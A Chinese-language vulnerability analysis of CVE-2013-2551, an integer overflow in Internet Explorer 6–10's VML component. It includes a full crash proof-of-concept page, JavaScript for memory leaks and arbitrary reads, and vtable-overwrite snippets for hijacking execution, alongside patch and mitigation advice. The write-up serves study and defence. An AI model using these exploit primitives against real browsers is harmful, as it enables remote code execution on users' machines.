Internet Explorer漏洞分析(二)——CVE-2013-2551
字数 1895 2025-08-06 08:35:22
CVE-2013-2551 Internet Explorer漏洞分析与利用
漏洞概述
漏洞编号: CVE-2013-2551
漏洞类型: 整数溢出(Integer Overflow)
影响范围: Microsoft Internet Explorer 6-10
CVSS 2.0评分: 9.3 (高危)
修复补丁: MS13-037
该漏洞存在于VGX.dll模块中,具体是COALineDashStyleArray::put_length函数在处理length数据时未做有效验证,当length为负数时可造成整数溢出,进而实现任意内存读写,最终导致远程代码执行(RCE)。
漏洞分析环境
- 操作系统: Windows XP Service Pack 3
- IE版本: 8.0.6001.18702
- VGX.dll版本: 8.0.6001.18702
前置知识:VML简介
VML(Vector Markup Language)是一种基于XML的矢量标记语言,允许在IE中绘制矢量图形。关键特点:
-
通过
<style>标签引入VML行为:<style>v\: * { behavior:url(#default#VML); display:inline-block }</style> -
声明VML命名空间:
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> -
基本形状示例:
<v:shape fillcolor="green" style="position:relative;top:1;left:1;width:200;height:200" path="m 1,1 l 1,200, 200,200, 200,1 x e"> </v:shape>
漏洞详细分析
漏洞触发原理
漏洞核心在于COALineDashStyleArray::put_length函数中的整数溢出:
- 函数首先获取当前数组长度
- 将新长度与当前长度比较时:
- 使用
movzx eax, word ptr [eax+4]指令(无符号扩展) - 但跳转使用
jge指令(有符号比较)
- 使用
- 当传入负数的length时,由于无符号/有符号处理不一致,导致整数溢出
崩溃分析
使用以下PoC触发漏洞:
<html>
<head><meta http-equiv="x-ua-compatible" content="IE=EmulateIE9"></head>
<title>POC by VUPEN</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function crashme(){
var vml1 = document.getElementById("vml1")
var shape = document.getElementById("shape")
for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation; //create a COARuntimeStyle
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1
shape.dashstyle.array.length = 0 - 1
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
try{
shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
} catch(e) {continue}
}
}
}
</script>
<body onload="createRects();">
<v:oval><v:stroke id="vml1"/></v:oval>
<v:oval><v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/></v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>
关键操作:
- 创建大量VML shape对象
- 设置dashstyle数组
- 将数组长度设置为-1(0xFFFFFFFF)
- 通过item操作实现越界读写
关键函数分析
-
ORG::Get函数:
- 偏移0x10处存储指向dashstyle数组的指针
- 用于获取数组元素
-
COALineDashStyleArray::get_item:
- 调用ORG::CElements获取数组元素个数
- 检查下标是否合法(0xFFFFFFFF < index < length)
- 合法则调用ORG::Get获取元素
-
COALineDashStyleArray::put_length:
- 漏洞核心函数
- 错误的无符号/有符号整数处理导致溢出
-
ORG::DeleteRange:
- 被put_length调用
- 通过MsoDeletePx和MsoFRemovePx实现长度修改
漏洞利用分析
信息泄露技术
方法1:通过_anchorRect属性
- 访问_anchorRect会调用COAShape::get__anchorRect
- 该函数通过malloc申请0x10字节空间存储COAReturnedPointsForAnchor对象
- 布局大量COAReturnedPointsForAnchor对象,中间插入Dashstyle Array
- 读取后续对象的虚表指针获取VGX.dll基址
PoC示例:
function info_leak(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i==0x800){
vml1.dashstyle="1 2 3 4";
}
}
vml1.dashstyle.array.length = 0 - 1;
var leak = vml1.dashstyle.array.item(0x12);
alert(leak-0x82a48); // 计算VGX.dll基址
}
方法2:通过_vgRuntimeStyle属性
- 访问_vgRuntimeStyle.rotation会申请0xAC大小空间
- 插入大小为0xB0的Dashstyle Array(44个元素+8字节头部)
- 写_vgRuntimeStyle.marginLeft会写入偏移0x58处
- 读_vgRuntimeStyle.marginLeft会读取偏移0x58指针指向的内容
- 控制0x58处指针实现任意地址读取
PoC示例:
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
alert(parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16));
return;
}
}
}
EIP劫持技术
方法1:覆盖COAReturnedPointsForAnchor虚表
- 布局大量COAReturnedPointsForAnchor对象
- 使用漏洞覆盖虚表指针(偏移0xC)
- 需要配合堆栈转移gadget
vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;
vml1.dashstyle.array.item(0xE) = 0x0c0c0c0c;
vml1.dashstyle.array.item(0xF) = ntdllbase+0xcb3e3;
方法2:覆盖COAShape虚表
- 布局大量COAShape对象
- 使用漏洞覆盖虚表指针(偏移6)
- 直接使用xchg eax,esp;ret等gadget
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
缓解措施
- 及时安装微软安全补丁MS13-037
- 禁用VML支持(如果业务不需要)
- 升级到更高版本的IE浏览器
- 使用DEP、ASLR等缓解技术
总结
CVE-2013-2551是一个典型的整数溢出漏洞,通过精心构造的VML操作可以实现内存任意读写,最终导致远程代码执行。该漏洞利用涉及复杂的堆布局和内存操作,展示了浏览器漏洞利用的典型技术路线。理解此类漏洞有助于提高安全防护能力,特别是在浏览器安全领域。